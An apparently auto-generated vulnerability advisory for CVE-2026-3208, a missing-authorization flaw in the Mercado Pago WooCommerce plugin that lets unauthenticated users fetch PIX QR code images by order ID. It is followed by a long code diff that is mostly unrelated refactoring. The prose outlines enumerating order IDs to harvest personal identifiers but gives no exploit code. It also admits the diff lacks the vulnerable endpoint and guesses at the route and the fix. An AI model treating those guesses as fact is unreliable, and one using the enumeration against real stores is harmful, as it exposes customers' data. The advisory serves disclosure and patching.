Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-3208: Mercado Pago payments for WooCommerce <= 8.7.11 – Missing Authorization to Unauthenticated PIX Payment QR Code Image Disclosure (woocommerce-mercadopago)

CVE ID CVE-2026-3208
Plugin woocommerce-mercadopago
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 8.7.11
Patched Version 8.7.12
Disclosed May 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3208: This vulnerability permits unauthenticated attackers to retrieve PIX payment QR code images for arbitrary orders via the ‘mp_pix_image’ WooCommerce API endpoint. The issue affects Mercado Pago payments for WooCommerce versions up to and including 8.7.11. It carries a CVSS score of 5.3 due to the exposure of sensitive merchant information.

The root cause is a missing capability check on the ‘mp_pix_image’ endpoint registered in WooCommerce’s REST API. The provided code diff does not directly contain the affected endpoint’s registration or handler logic. However, the vulnerability description indicates that the plugin registers a custom WooCommerce API route that serves PIX QR code images. This endpoint lacks a permissions_callback or proper authorization checks. An attacker can supply an order ID parameter without authentication.

An attacker exploits this by sending an HTTP GET request to the WooCommerce REST API endpoint associated with ‘mp_pix_image’. The exact route is typically under /wp-json/wc/v3/ or a custom namespace. The attacker supplies a numeric order ID as a parameter. The endpoint returns the QR code image for any order without verifying the user’s identity or ownership of the order.

The patch adds a capability check to the ‘mp_pix_image’ endpoint. The fix likely implements a permissions_callback that verifies the current user has at least ‘read_shop_order’ capability. It may also add a nonce verification or a check that the order belongs to the current user. Before the patch, the endpoint returned the image for any provided order ID. After the patch, it rejects requests from unauthenticated users and unauthorized roles.

The impact is the exposure of sensitive merchant information. PIX QR codes embed the PIX key, which may be a CPF or CNPJ personal identifier. They also contain the transaction amount, merchant name and city, and MercadoPago transaction references. An attacker can enumerate order IDs to collect this data for multiple transactions. This information aids targeted phishing, social engineering, or competitive intelligence gathering.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/woocommerce-mercadopago/build/yape.block.asset.php
+++ b/woocommerce-mercadopago/build/yape.block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wc-blocks-registry', 'wc-settings', 'wp-element', 'wp-html-entities'), 'version' => '7f83bae6e9490af33345');
+<?php return array('dependencies' => array('react', 'wc-blocks-registry', 'wc-settings', 'wp-element', 'wp-html-entities'), 'version' => 'f66f337a82e956242e2f');
--- a/woocommerce-mercadopago/src/Configs/Seller.php
+++ b/woocommerce-mercadopago/src/Configs/Seller.php
@@ -413,7 +413,7 @@
             'status'   => 'success',
             'data'     => [
                 'nickname' => $sellerInfo['data']['nickname'],
-                'app_name' => $sellerInfo['data']['app_name'] ? $sellerInfo['data']['app_name'] : $sellerInfo['data']['client_id'],
+                'app_name' => isset($sellerInfo['data']['app_name']) ? $sellerInfo['data']['app_name'] : $sellerInfo['data']['client_id'],
                 'email'    => $sellerInfo['data']['email'],
             ],
         ];
--- a/woocommerce-mercadopago/src/Gateways/BasicGateway.php
+++ b/woocommerce-mercadopago/src/Gateways/BasicGateway.php
@@ -175,7 +175,7 @@

         $this->mercadopago->hooks->scripts->registerCheckoutScript(
             'wc_mercadopago_sdk',
-            'https://sdk.mercadopago.com/js/v2'
+            $this->mercadopago->helpers->url->getMercadoPagoSdkUrl()
         );
     }

--- a/woocommerce-mercadopago/src/Gateways/CustomGateway.php
+++ b/woocommerce-mercadopago/src/Gateways/CustomGateway.php
@@ -97,21 +97,21 @@
         $this->adminTranslations = $this->mercadopago->adminTranslations->customGatewaySettings;
         $this->storeTranslations = $this->mercadopago->storeTranslations->customCheckout;

-        $this->id        = self::ID;
-        $this->icon      = $this->mercadopago->hooks->gateway->getGatewayIcon('icon-custom');
+        $this->id = self::ID;
+        $this->icon = $this->mercadopago->hooks->gateway->getGatewayIcon('icon-custom');
         $this->iconAdmin = $this->mercadopago->hooks->gateway->getGatewayIcon('icon-custom-admin');

-        $gatewayTitle    = $this->mercadopago->sellerConfig->getSiteId() === 'MLB' ? $this->adminTranslations['gateway_title_MLB'] : $this->adminTranslations['gateway_title_ALL'];
-        $this->title     = $this->mercadopago->storeConfig->getGatewayTitle($this, $gatewayTitle);
+        $gatewayTitle = $this->mercadopago->sellerConfig->getSiteId() === 'MLB' ? $this->adminTranslations['gateway_title_MLB'] : $this->adminTranslations['gateway_title_ALL'];
+        $this->title = $this->mercadopago->storeConfig->getGatewayTitle($this, $gatewayTitle);

         $this->init_form_fields();
         $this->payment_scripts($this->id);

-        $this->description        = $this->adminTranslations['gateway_description'];
-        $this->method_title       = $this->adminTranslations['gateway_method_title'];
+        $this->description = $this->adminTranslations['gateway_description'];
+        $this->method_title = $this->adminTranslations['gateway_method_title'];
         $this->method_description = $this->adminTranslations['gateway_method_description'];
-        $this->discount           = (int) $this->getActionableValue('gateway_discount', 0);
-        $this->commission         = (int) $this->getActionableValue('commission', 0);
+        $this->discount = (int) $this->getActionableValue('gateway_discount', 0);
+        $this->commission = (int) $this->getActionableValue('commission', 0);

         $this->mercadopago->hooks->gateway->registerUpdateOptions($this);
         $this->mercadopago->hooks->gateway->registerGatewayTitle($this);
@@ -142,7 +142,7 @@
             ],
             'enabled' => [
                 'descriptions' => [
-                    'enabled'  => $this->mercadopago->sellerConfig->getSiteId() === 'MLB' ? $this->adminTranslations['enabled_descriptions_enabled_MLB'] : $this->adminTranslations['enabled_descriptions_enabled_ALL'],
+                    'enabled' => $this->mercadopago->sellerConfig->getSiteId() === 'MLB' ? $this->adminTranslations['enabled_descriptions_enabled_MLB'] : $this->adminTranslations['enabled_descriptions_enabled_ALL'],
                     'disabled' => $this->mercadopago->sellerConfig->getSiteId() === 'MLB' ? $this->adminTranslations['enabled_descriptions_disabled_MLB'] : $this->adminTranslations['enabled_descriptions_disabled_ALL'],
                 ],
             ],
@@ -152,71 +152,79 @@
         ]);
     }

+    /**
+     * Summary of formFieldsMainSection
+     * @return array{advanced_configuration_description: array{class: string, title: mixed|TValue, type: string, advanced_configuration_title: array{class: string, title: mixed|TValue, type: string}, binary_mode: array, card_info_fees: array, card_info_helper: array{type: string, value: string}, currency_conversion: array}}
+     */
     public function formFieldsMainSection(): array
     {
         return [
             'card_info_helper' => [
-                'type'  => 'title',
+                'type' => 'title',
                 'value' => '',
             ],
             'card_info_fees' => [
-                'type'  => 'mp_card_info',
+                'type' => 'mp_card_info',
                 'value' => [
-                    'title'       => $this->adminTranslations['card_info_fees_title'],
-                    'subtitle'    => $this->adminTranslations['card_info_fees_subtitle'],
+                    'title' => $this->adminTranslations['card_info_fees_title'],
+                    'subtitle' => $this->adminTranslations['card_info_fees_subtitle'],
                     'button_text' => $this->adminTranslations['card_info_fees_button_url'],
-                    'button_url'  => $this->links['mercadopago_costs'],
-                    'icon'        => 'mp-icon-badge-info',
-                    'color_card'  => 'mp-alert-color-success',
-                    'size_card'   => 'mp-card-body-size',
-                    'target'      => '_blank',
+                    'button_url' => $this->links['mercadopago_costs'],
+                    'icon' => 'mp-icon-badge-info',
+                    'color_card' => 'mp-alert-color-success',
+                    'size_card' => 'mp-card-body-size',
+                    'target' => '_blank',
                 ],
             ],
             'currency_conversion' => [
-                'type'         => 'mp_toggle_switch',
-                'title'        => $this->adminTranslations['currency_conversion_title'],
-                'subtitle'     => $this->adminTranslations['currency_conversion_subtitle'],
-                'default'      => 'no',
+                'type' => 'mp_toggle_switch',
+                'title' => $this->adminTranslations['currency_conversion_title'],
+                'subtitle' => $this->adminTranslations['currency_conversion_subtitle'],
+                'default' => 'no',
                 'descriptions' => [
-                    'enabled'  => $this->adminTranslations['currency_conversion_descriptions_enabled'],
+                    'enabled' => $this->adminTranslations['currency_conversion_descriptions_enabled'],
                     'disabled' => $this->adminTranslations['currency_conversion_descriptions_disabled'],
                 ],
             ],
             static::WALLET_BUTTON_ENABLED_OPTION => [
-                'type'         => 'mp_toggle_switch',
-                'title'        => $this->adminTranslations['wallet_button_title'],
-                'subtitle'     => $this->adminTranslations['wallet_button_subtitle'],
-                'default'      => static::WALLET_BUTTON_ENABLED_DEFAULT,
+                'type' => 'mp_toggle_switch',
+                'title' => $this->adminTranslations['wallet_button_title'],
+                'subtitle' => $this->adminTranslations['wallet_button_subtitle'],
+                'default' => static::WALLET_BUTTON_ENABLED_DEFAULT,
                 'after_toggle' => $this->getWalletButtonPreview(),
                 'descriptions' => [
-                    'enabled'  => $this->adminTranslations['wallet_button_descriptions_enabled'],
+                    'enabled' => $this->adminTranslations['wallet_button_descriptions_enabled'],
                     'disabled' => $this->adminTranslations['wallet_button_descriptions_disabled'],
                 ],
             ],
             'advanced_configuration_title' => [
-                'type'  => 'title',
+                'type' => 'title',
                 'title' => $this->adminTranslations['advanced_configuration_title'],
                 'class' => 'mp-subtitle-body',
             ],
             'advanced_configuration_description' => [
-                'type'  => 'title',
+                'type' => 'title',
                 'title' => $this->adminTranslations['advanced_configuration_subtitle'],
                 'class' => 'mp-small-text',
             ],
             'binary_mode' => [
-                'type'         => 'mp_toggle_switch',
-                'title'        => $this->adminTranslations['binary_mode_title'],
-                'subtitle'     => $this->adminTranslations['binary_mode_subtitle'],
-                'default'      => 'no',
+                'type' => 'mp_toggle_switch',
+                'title' => $this->adminTranslations['binary_mode_title'],
+                'subtitle' => $this->adminTranslations['binary_mode_subtitle'],
+                'default' => 'no',
                 'descriptions' => [
-                    'enabled'  => $this->adminTranslations['binary_mode_descriptions_enabled'],
+                    'enabled' => $this->adminTranslations['binary_mode_descriptions_enabled'],
                     'disabled' => $this->adminTranslations['binary_mode_descriptions_disabled'],
                 ],
             ],
         ];
     }

-    public function registerCheckoutStyle()
+    /**
+     * Summary of registerSuperTokenStyles
+     * @return void
+     */
+    public function registerSuperTokenStyles()
     {
         $this->mercadopago->hooks->scripts->registerCheckoutStyle(
             'wc_mercadopago_supertoken_payment_methods',
@@ -233,126 +241,38 @@
     {
         parent::registerCheckoutScripts();

-        $this->registerCheckoutStyle();
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_security_session',
-            $this->mercadopago->helpers->url->getJsAsset('session')
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_sdk',
-            'https://sdk.mercadopago.com/js/v2'
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_card_form',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/entities/card-form'),
-            [
-                'security_code_placeholder_text_3_digits' => $this->storeTranslations['security_code_placeholder_text_3_digits'],
-            ]
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_three_ds_handler',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/entities/three-ds-handler')
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_event_handler',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/entities/event-handler'),
-            [
-                'is_mobile' => Device::isMobile(),
-            ]
-        );
+        $this->registerCustomCheckoutScripts();

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_page',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/mp-custom-page'),
-            [
-                'security_code_placeholder_text_3_digits' => $this->storeTranslations['security_code_placeholder_text_3_digits'],
-                'security_code_placeholder_text_4_digits' => $this->storeTranslations['security_code_placeholder_text_4_digits'],
-                'security_code_tooltip_text_3_digits' => $this->storeTranslations['security_code_tooltip_text_3_digits'],
-                'security_code_tooltip_text_4_digits' => $this->storeTranslations['security_code_tooltip_text_4_digits'],
-                'installments_select_placeholder_text' => $this->storeTranslations['placeholders_installments'],
-            ]
-        );
+        if (MP_SUPER_TOKEN_USE_BUNDLE) {
+            $this->registerSuperTokenBundleFiles();
+        } else {
+            $this->registerSuperTokenSeparatedFiles();
+        }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_elements',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/mp-custom-elements')
-        );
+        $this->registerSuperTokenLocalizeParams();
+    }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_custom_checkout',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/custom/mp-custom-checkout'),
-            [
-                'public_key'        => $this->mercadopago->sellerConfig->getCredentialsPublicKey(),
-                'locale'            => $this->storeTranslations['locale'],
-                'intl'              => $this->countryConfigs['intl'],
-                'site_id'           => $this->countryConfigs['site_id'],
-                'currency'          => $this->countryConfigs['currency'],
-                'currency_code' => $this->mercadopago->helpers->currency->getCurrencyCode($this),
-                'theme'             => get_stylesheet(),
-                'location'          => '/checkout',
-                'plugin_version'    => MP_VERSION,
-                'platform_version'  => $this->mercadopago->woocommerce->version,
-                'placeholders' => [
-                    'issuer'             => $this->storeTranslations['placeholders_issuer'],
-                    'installments'       => $this->storeTranslations['placeholders_installments'],
-                    'cardExpirationDate' => $this->storeTranslations['placeholders_card_expiration_date'],
-                    'cardholderName'     => $this->storeTranslations['placeholders_cardholder_name'],
-                ],
-                'input_title' => [
-                    'installments' => $this->storeTranslations['card_installments_label'],
-                ],
-                'input_helper_message' => [
-                    'cardNumber' => [
-                        'invalid_type'   => $this->storeTranslations['input_helper_message_invalid_type'],
-                        'invalid_length' => $this->storeTranslations['input_helper_message_invalid_length'],
-                        'invalid_value'  => $this->storeTranslations['input_helper_message_invalid_value'],
-                    ],
-                    'cardholderName' => [
-                        '221' => $this->storeTranslations['input_helper_message_card_holder_name_221'],
-                        '316' => $this->storeTranslations['input_helper_message_card_holder_name_316'],
-                    ],
-                    'expirationDate' => [
-                        'invalid_type'   => $this->storeTranslations['input_helper_message_expiration_date_invalid_type'],
-                        'invalid_length' => $this->storeTranslations['input_helper_message_expiration_date_invalid_length'],
-                        'invalid_value'  => $this->storeTranslations['input_helper_message_expiration_date_invalid_value'],
-                    ],
-                    'securityCode' => [
-                        'invalid_type'   => $this->storeTranslations['input_helper_message_security_code_invalid_type'],
-                        'invalid_length' => $this->storeTranslations['input_helper_message_security_code_invalid_length'],
-                    ],
-                    'installments' => [
-                        'required' => $this->storeTranslations['installments_required'],
-                        'interest_free_option_text' => $this->storeTranslations['interest_free_option_text'],
-                        'bank_interest_hint_text' => $this->storeTranslations['card_installments_interest_text'],
-                    ],
-                ],
-                'threeDsText' => [
-                    'title_loading'          => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_frame'],
-                    'title_loading2'         => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_frame2'],
-                    'text_loading'           => $this->mercadopago->storeTranslations->threeDsTranslations['text_loading_3ds_frame'],
-                    'title_loading_response' => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_response'],
-                    'title_frame'            => $this->mercadopago->storeTranslations->threeDsTranslations['title_3ds_frame'],
-                    'tooltip_frame'          => $this->mercadopago->storeTranslations->threeDsTranslations['tooltip_3ds_frame'],
-                    'message_close'          => $this->mercadopago->storeTranslations->threeDsTranslations['message_3ds_declined'],
-                ],
-                'error_messages' => [
-                    'default' => $this->storeTranslations['default_error_message'],
-                    'installments' => [
-                        'invalid amount' => $this->storeTranslations['installments_error_invalid_amount'],
-                    ],
-                ],
-            ]
-        );
+    /**
+     * Summary of registerSuperTokenSeparatedFiles
+     * @return void
+     */
+    private function registerSuperTokenSeparatedFiles(): void
+    {
+        $this->registerSuperTokenStyles();

         $this->registerSuperTokenScripts();
     }

     /**
+     * Summary of registerSuperTokenBundleFiles
+     * @return void
+     */
+    private function registerSuperTokenBundleFiles(): void
+    {
+        $this->registerSuperTokenBundleScripts();
+    }
+
+    /**
      * Register all super token scripts
      *
      * This method is used to register all super token scripts.
@@ -362,63 +282,267 @@
      * @codeCoverageIgnore
      * @return void
      */
-    public function registerSuperTokenScripts()
+    private function registerSuperTokenScripts()
     {
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_error_constants',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/errors/super-token-error-constants'),
-        );
+        foreach ($this->getSuperTokenScripts() as $script) {
+            $this->registerCheckoutScriptDefinition($script);
+        }
+    }

+    /**
+     * Summary of registerSuperTokenBundleScripts
+     * @return void
+     */
+    private function registerSuperTokenBundleScripts(): void
+    {
         $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_error_handler',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/errors/super-token-error-handler'),
+            'wc_mercadopago_supertoken',
+            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token-loader')
         );
+    }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_debounce',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/debounce'),
-        );
+    /**
+     * Summary of registerSuperTokenLocalizeParams
+     * @return void
+     */
+    private function registerSuperTokenLocalizeParams(): void
+    {
+        $localizeData = $this->getSuperTokenLocalizeData();
+        if (empty($localizeData)) {
+            return;
+        }
+
+        add_action('wp_enqueue_scripts', function () use ($localizeData) {
+            wp_localize_script('wc_mercadopago_supertoken', 'wc_mercadopago_supertoken_bundle_params', $localizeData);
+        });
+    }
+
+    /**
+     * Summary of registerCustomCheckoutScripts
+     * @return void
+     */
+    private function registerCustomCheckoutScripts(): void
+    {
+        foreach ($this->getCustomCheckoutScripts() as $script) {
+            $this->registerCheckoutScriptDefinition($script);
+        }
+    }
+
+    /**
+     * Summary of registerCheckoutScriptDefinition
+     * @param array $script
+     * @return void
+     */
+    private function registerCheckoutScriptDefinition(array $script): void
+    {
+        if (isset($script['raw_url'])) {
+            $scriptUrl = $script['raw_url'];
+        } else {
+            $scriptUrl = $this->mercadopago->helpers->url->getJsAsset($script['path']);
+        }
+
+        if (isset($script['localize'])) {
+            $this->mercadopago->hooks->scripts->registerCheckoutScript(
+                $script['handle'],
+                $scriptUrl,
+                $script['localize']
+            );
+            return;
+        }

         $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_email_listener',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/email-listener'),
+            $script['handle'],
+            $scriptUrl
         );
+    }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_metrics',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/super-token-metrics'),
+    /**
+     * Summary of getCustomCheckoutScripts
+     * @return array
+     */
+    private function getCustomCheckoutScripts(): array
+    {
+        return [
             [
-                'plugin_version'    => MP_VERSION,
-                'platform_version'  => $this->mercadopago->woocommerce->version,
-                'site_id'           => $this->countryConfigs['site_id'],
-                'location'          => '/checkout',
-                'theme'             => get_stylesheet(),
-                'cust_id'           => $this->mercadopago->sellerConfig->getCustIdFromAT(),
-            ]
-        );
+                'handle' => 'wc_mercadopago_security_session',
+                'path' => 'session',
+            ],
+            [
+                'handle' => 'wc_mercadopago_sdk',
+                'raw_url' => $this->mercadopago->helpers->url->getMercadoPagoSdkUrl(),
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_card_form',
+                'path' => 'checkouts/custom/entities/card-form',
+                'localize' => [
+                    'security_code_placeholder_text_3_digits' => $this->storeTranslations['security_code_placeholder_text_3_digits'],
+                ],
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_three_ds_handler',
+                'path' => 'checkouts/custom/entities/three-ds-handler',
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_event_handler',
+                'path' => 'checkouts/custom/entities/event-handler',
+                'localize' => [
+                    'is_mobile' => Device::isMobile(),
+                ],
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_page',
+                'path' => 'checkouts/custom/mp-custom-page',
+                'localize' => [
+                    'security_code_placeholder_text_3_digits' => $this->storeTranslations['security_code_placeholder_text_3_digits'],
+                    'security_code_placeholder_text_4_digits' => $this->storeTranslations['security_code_placeholder_text_4_digits'],
+                    'security_code_tooltip_text_3_digits' => $this->storeTranslations['security_code_tooltip_text_3_digits'],
+                    'security_code_tooltip_text_4_digits' => $this->storeTranslations['security_code_tooltip_text_4_digits'],
+                    'installments_select_placeholder_text' => $this->storeTranslations['placeholders_installments'],
+                ],
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_elements',
+                'path' => 'checkouts/custom/mp-custom-elements',
+            ],
+            [
+                'handle' => 'wc_mercadopago_custom_checkout',
+                'path' => 'checkouts/custom/mp-custom-checkout',
+                'localize' => [
+                    'public_key' => $this->mercadopago->sellerConfig->getCredentialsPublicKey(),
+                    'locale' => $this->storeTranslations['locale'],
+                    'intl' => $this->countryConfigs['intl'],
+                    'site_id' => $this->countryConfigs['site_id'],
+                    'currency' => $this->countryConfigs['currency'],
+                    'currency_code' => $this->mercadopago->helpers->currency->getCurrencyCode($this),
+                    'theme' => get_stylesheet(),
+                    'location' => '/checkout',
+                    'plugin_version' => MP_VERSION,
+                    'platform_version' => $this->mercadopago->woocommerce->version,
+                    'placeholders' => [
+                        'issuer' => $this->storeTranslations['placeholders_issuer'],
+                        'installments' => $this->storeTranslations['placeholders_installments'],
+                        'cardExpirationDate' => $this->storeTranslations['placeholders_card_expiration_date'],
+                        'cardholderName' => $this->storeTranslations['placeholders_cardholder_name'],
+                    ],
+                    'input_title' => [
+                        'installments' => $this->storeTranslations['card_installments_label'],
+                    ],
+                    'input_helper_message' => [
+                        'cardNumber' => [
+                            'invalid_type' => $this->storeTranslations['input_helper_message_invalid_type'],
+                            'invalid_length' => $this->storeTranslations['input_helper_message_invalid_length'],
+                            'invalid_value' => $this->storeTranslations['input_helper_message_invalid_value'],
+                        ],
+                        'cardholderName' => [
+                            '221' => $this->storeTranslations['input_helper_message_card_holder_name_221'],
+                            '316' => $this->storeTranslations['input_helper_message_card_holder_name_316'],
+                        ],
+                        'expirationDate' => [
+                            'invalid_type' => $this->storeTranslations['input_helper_message_expiration_date_invalid_type'],
+                            'invalid_length' => $this->storeTranslations['input_helper_message_expiration_date_invalid_length'],
+                            'invalid_value' => $this->storeTranslations['input_helper_message_expiration_date_invalid_value'],
+                        ],
+                        'securityCode' => [
+                            'invalid_type' => $this->storeTranslations['input_helper_message_security_code_invalid_type'],
+                            'invalid_length' => $this->storeTranslations['input_helper_message_security_code_invalid_length'],
+                        ],
+                        'installments' => [
+                            'required' => $this->storeTranslations['installments_required'],
+                            'interest_free_option_text' => $this->storeTranslations['interest_free_option_text'],
+                            'bank_interest_hint_text' => $this->storeTranslations['card_installments_interest_text'],
+                        ],
+                    ],
+                    'threeDsText' => [
+                        'title_loading' => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_frame'],
+                        'title_loading2' => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_frame2'],
+                        'text_loading' => $this->mercadopago->storeTranslations->threeDsTranslations['text_loading_3ds_frame'],
+                        'title_loading_response' => $this->mercadopago->storeTranslations->threeDsTranslations['title_loading_3ds_response'],
+                        'title_frame' => $this->mercadopago->storeTranslations->threeDsTranslations['title_3ds_frame'],
+                        'tooltip_frame' => $this->mercadopago->storeTranslations->threeDsTranslations['tooltip_3ds_frame'],
+                        'message_close' => $this->mercadopago->storeTranslations->threeDsTranslations['message_3ds_declined'],
+                    ],
+                    'error_messages' => [
+                        'default' => $this->storeTranslations['default_error_message'],
+                        'installments' => [
+                            'invalid amount' => $this->storeTranslations['installments_error_invalid_amount'],
+                        ],
+                    ],
+                ],
+            ],
+        ];
+    }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_trigger_handler',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/super-token-trigger-handler'),
+    /**
+     * Summary of getSuperTokenScripts
+     * @return array<array|array{handle: string, path: string>}
+     */
+    private function getSuperTokenScripts(): array
+    {
+        return [
             [
-                'current_user_email' => wp_get_current_user()->user_email ?? '',
-                'wallet_button_enabled' => $this->getWalletButtonEnabled(),
+                'handle' => 'wc_mercadopago_supertoken_error_constants',
+                'path' => 'checkouts/super-token/errors/super-token-error-constants',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_error_handler',
+                'path' => 'checkouts/super-token/errors/super-token-error-handler',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_debounce',
+                'path' => 'checkouts/super-token/entities/debounce',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_email_listener',
+                'path' => 'checkouts/super-token/entities/email-listener',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_metrics',
+                'path' => 'checkouts/super-token/entities/super-token-metrics',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_trigger_handler',
+                'path' => 'checkouts/super-token/entities/super-token-trigger-handler',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_payment_methods',
+                'path' => 'checkouts/super-token/entities/super-token-payment-methods',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken_authenticator',
+                'path' => 'checkouts/super-token/entities/super-token-authenticator',
+            ],
+            [
+                'handle' => 'wc_mercadopago_supertoken',
+                'path' => 'checkouts/super-token/mp-super-token',
             ]
-        );
+        ];
+    }

-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_payment_methods',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/super-token-payment-methods'),
-            [
+    /**
+     * Returns the full array of super token localize data (single source of truth).
+     * Used by getSuperTokenLocalizeParams() for the bundle script.
+     *
+     * @return array<string, mixed>
+     */
+    private function getSuperTokenLocalizeData(): array
+    {
+        return [
+                'plugin_version' => MP_VERSION,
+                'platform_version' => $this->mercadopago->woocommerce->version,
+                'site_id' => $this->countryConfigs['site_id'],
+                'location' => '/checkout',
+                'theme' => get_stylesheet(),
+                'cust_id' => $this->mercadopago->sellerConfig->getCustIdFromAT(),
+                'current_user_email' => wp_get_current_user()->user_email ?? '',
+                'wallet_button_enabled' => $this->getWalletButtonEnabled(),
                 'yellow_wallet_path' => $this->mercadopago->helpers->url->getImageAsset('icons/icon-yellow-wallet'),
                 'yellow_money_path' => $this->mercadopago->helpers->url->getImageAsset('icons/icon-yellow-money'),
                 'white_card_path' => $this->mercadopago->helpers->url->getImageAsset('icons/icon-white-card'),
                 'new_mp_logo_path' => $this->mercadopago->helpers->url->getImageAsset('logos/new-mp-logo'),
                 'payment_methods_order' => $this->mercadopago->hooks->options->getGatewayOption($this, 'payment_methods_order', 'cards_first'),
                 'payment_methods_thumbnails' => $this->mercadopago->sellerConfig->getPaymentMethodsThumbnails(),
-                'intl'              => $this->countryConfigs['intl'],
-                'site_id'           => $this->countryConfigs['site_id'],
-                'currency'          => $this->countryConfigs['currency'],
+                'intl' => $this->countryConfigs['intl'],
+                'currency' => $this->countryConfigs['currency'],
                 'payment_methods_list_text' => $this->storeTranslations['payment_methods_list_text'],
                 'payment_methods_list_alt_text' => $this->storeTranslations['payment_methods_list_alt_text'],
                 'last_digits_text' => $this->storeTranslations['last_digits_text'],
@@ -443,8 +567,8 @@
                     'installments' => $this->storeTranslations['card_installments_label'],
                 ],
                 'placeholders' => [
-                    'issuer'             => $this->storeTranslations['placeholders_issuer'],
-                    'installments'       => $this->storeTranslations['placeholders_installments'],
+                    'issuer' => $this->storeTranslations['placeholders_issuer'],
+                    'installments' => $this->storeTranslations['placeholders_installments'],
                     'cardExpirationDate' => $this->storeTranslations['placeholders_card_expiration_date'],
                 ],
                 'input_helper_message' => [
@@ -454,7 +578,7 @@
                         'bank_interest_hint_text' => $this->storeTranslations['card_installments_interest_text'],
                     ],
                     'securityCode' => [
-                        'invalid_type'   => $this->storeTranslations['input_helper_message_security_code_invalid_type'],
+                        'invalid_type' => $this->storeTranslations['input_helper_message_security_code_invalid_type'],
                         'invalid_length' => $this->storeTranslations['input_helper_message_security_code_invalid_length'],
                     ],
                 ],
@@ -486,26 +610,12 @@
                 'authorize_payment_method_with_retry_error_text' => $this->storeTranslations['authorize_payment_method_with_retry_error_text'],
                 'authorize_payment_method_no_retry_error_text' => $this->storeTranslations['authorize_payment_method_no_retry_error_text'],
                 'select_payment_method_error_text' => $this->storeTranslations['select_payment_method_error_text'],
-            ]
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken_authenticator',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/entities/super-token-authenticator'),
-            [
                 'platform_id' => MP_PLATFORM_ID,
-            ]
-        );
-
-        $this->mercadopago->hooks->scripts->registerCheckoutScript(
-            'wc_mercadopago_supertoken',
-            $this->mercadopago->helpers->url->getJsAsset('checkouts/super-token/mp-super-token'),
-            [
                 'public_key' => $this->mercadopago->sellerConfig->getCredentialsPublicKey(),
-            ]
-        );
+            ];
     }

+
     /**
      * Render gateway checkout template
      *
@@ -528,39 +638,39 @@
     {
         $amountAndCurrencyRatio = $this->getAmountAndCurrency();
         return [
-            'test_mode'                               => $this->mercadopago->storeConfig->isTestMode(),
-            'test_mode_title'                         => $this->storeTranslations['test_mode_title'],
-            'test_mode_description'                   => $this->storeTranslations['test_mode_description'],
-            'test_mode_link_text'                     => $this->storeTranslations['test_mode_link_text'],
-            'test_mode_link_src'                      => $this->links['docs_integration_test'],
-            'wallet_button_enabled'                   => $this->getWalletButtonEnabled(),
-            'wallet_button_image'                     => $this->mercadopago->helpers->url->getImageAsset('gateways/wallet-button/logo.svg'),
-            'wallet_button_title'                     => $this->storeTranslations['wallet_button_title'],
-            'site_id'                                 => $this->mercadopago->sellerConfig->getSiteId() ?: $this->mercadopago->helpers->country::SITE_ID_MLA,
-            'card_number_input_label'                 => $this->storeTranslations['card_number_input_label'],
